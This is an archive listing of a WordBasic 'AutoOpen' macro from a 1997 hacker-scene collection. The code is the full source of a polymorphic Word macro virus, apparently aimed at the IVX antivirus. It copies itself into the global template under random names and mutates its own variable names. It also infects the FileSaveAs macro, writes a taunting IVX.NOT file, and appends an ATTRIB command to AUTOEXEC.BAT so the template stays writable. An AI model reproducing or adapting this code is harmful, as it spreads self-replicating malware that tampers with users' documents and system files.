home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
CCTX0497.ZIP
/
MVUPDAT9.ZIP
/
ANTI-IVX.ZIP
/
AUTOOPEN.TXT
< prev
next >
Wrap
Text File
|
1997-03-10
|
2KB
|
94 lines
Sub MAIN
REM AutoOpen macro
On Error Goto Abort
M = CountMacros(0, 0)
For i = 1 To M
If MacroName$(i, 0, 0) = "FileSaveAs" Then b = - 1
Next i
If Not b Then
DisableInput
ToolsOptionsSave .FastSaves = 1, .GlobalDotPrompt = 0
ScreenUpdating 0
jqp$ = FileName$()
MacroCopy jqp$ + ":AutoOpen", "Global:GGMZW"
ToolsMacro .Name = "GGMZW", .Edit, .Show = 0
For q = 1 To 5
w$ = w$ + Chr$(Int(Rnd() * 26) + 65)
Next q
EditReplace .Find = "GGMZW", .Replace = w$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1
w$ = ""
For q = 1 To 3
w$ = w$ + Chr$(Int(Rnd() * 26) + 97)
Next q
w$ = w$ + "$"
EditReplace .Find = "jqp$", .Replace = w$, .Direction = 0, .MatchCase = 0, .WholeWord = 0, .PatternMatch = 0, .SoundsLike = 0, .ReplaceAll, .Format = 0, .Wrap = 1
ParaDown Int(Rnd() * 50) + 1
Insert "'1 Gen"
InsertPara
DocClose 1
ToolsMacro .Name = "FileSaveAs", .Edit, .Show = 0
StartOfLine
'1 Gen
LineUp 1
Insert "on error goto abort"
InsertPara
LineDown 1
x = Rnd()
If x < 0.2 Then
Insert "dlg.format=1"
ElseIf x < 0.4 Then
Insert "dlg.format = 1"
ElseIf x < 0.6 Then
Insert "dlg. format =1"
ElseIf x < 0.8 Then
Insert " dlg.format=1"
Else
Insert "dlg.format =1"
End If
InsertPara
Insert "'" + Str$(Rnd())
InsertPara
x = Rnd()
If x < 0.2 Then
Insert "jqp$=filename$()"
ElseIf x < 0.4 Then
Insert " jqp$ = filename$()"
ElseIf x < 0.4 Then
Insert " jqp$ = filename$()"
ElseIf x < 0.4 Then
Insert " jqp$ =filename$()"
Else
Insert "jqp$ =filename$()"
End If
x = Int(Rnd() * 5) + 2
For i = 1 To x
InsertPara
Next i
Insert "'" + Str$(Rnd())
InsertPara
Insert "macrocopy " + Chr$(34) + "Global:GGMZW" + Chr$(34) + ",jqp$+" + Chr$(34) + ":AutoOpen" + Chr$(34)
InsertPara
LineDown 1
Insert "abort:"
InsertPara
DocClose 1
iv$ = FileNameInfo$(jqp$, 5) + "IVX.NOT"
Open iv$ For Output As #1
Print #1, "IVX detects all macro viruses, past, present, and future."
Close #1
nd$ = DefaultDir$(2) + "\NORMAL.DOT"
Open "C:\AUTOEXEC.BAT" For Input As #1
While Not Eof(1)
Line Input #1, y$
If InStr(y$, nd$) <> 0 Then r = - 1
Wend
Close #1
If Not r Then
Open "C:\AUTOEXEC.BAT" For Append As #1
Print #1, "@ATTRIB -R " + ND$ + " > NUL"
Close #1
End If
End If
Abort:
End Sub